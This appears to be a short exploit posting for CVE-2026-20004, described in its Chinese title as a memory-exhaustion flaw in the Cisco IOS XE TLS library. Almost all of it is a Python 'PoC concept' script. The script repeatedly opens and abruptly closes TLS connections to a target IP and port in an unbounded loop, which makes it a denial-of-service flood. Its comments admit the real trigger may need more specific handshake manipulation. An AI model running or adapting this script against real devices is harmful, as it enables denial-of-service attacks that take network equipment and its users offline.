CVE-2026-20004 Cisco IOS XE TLS库内存耗尽漏洞

# PoC Concept for CVE-2026-20004 # This script demonstrates the concept of triggering memory exhaustion # by repeatedly resetting TLS connections. import socket import ssl import time def trigger_vulnerability(target_ip, target_port): print(f"[*] Starting attack simulation against {target_ip}:{target_port}") count = 0 while True: try: # Create a standard TCP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(2) # Wrap socket with SSL/TLS context context = ssl.create_default_context() # Note: In a real scenario, specific handshake manipulation might be needed # This simulates the connection attempt ssock = context.wrap_socket(sock, server_hostname=target_ip) ssock.connect((target_ip, target_port)) # Simulate the condition causing memory increase (e.g., incomplete handshake or reset) # Here we close abruptly or send specific payloads to simulate the trigger ssock.close() sock.close() count += 1 if count % 100 == 0: print(f"[*] Sent {count} connection requests...") # Small delay to prevent immediate rate limiting if any, though DoS aims for speed time.sleep(0.01) except Exception as e: print(f"[!] Error occurred: {e}") break if __name__ == "__main__": # Replace with actual target IP and Port TARGET_IP = "192.168.1.1" TARGET_PORT = 443 trigger_vulnerability(TARGET_IP, TARGET_PORT)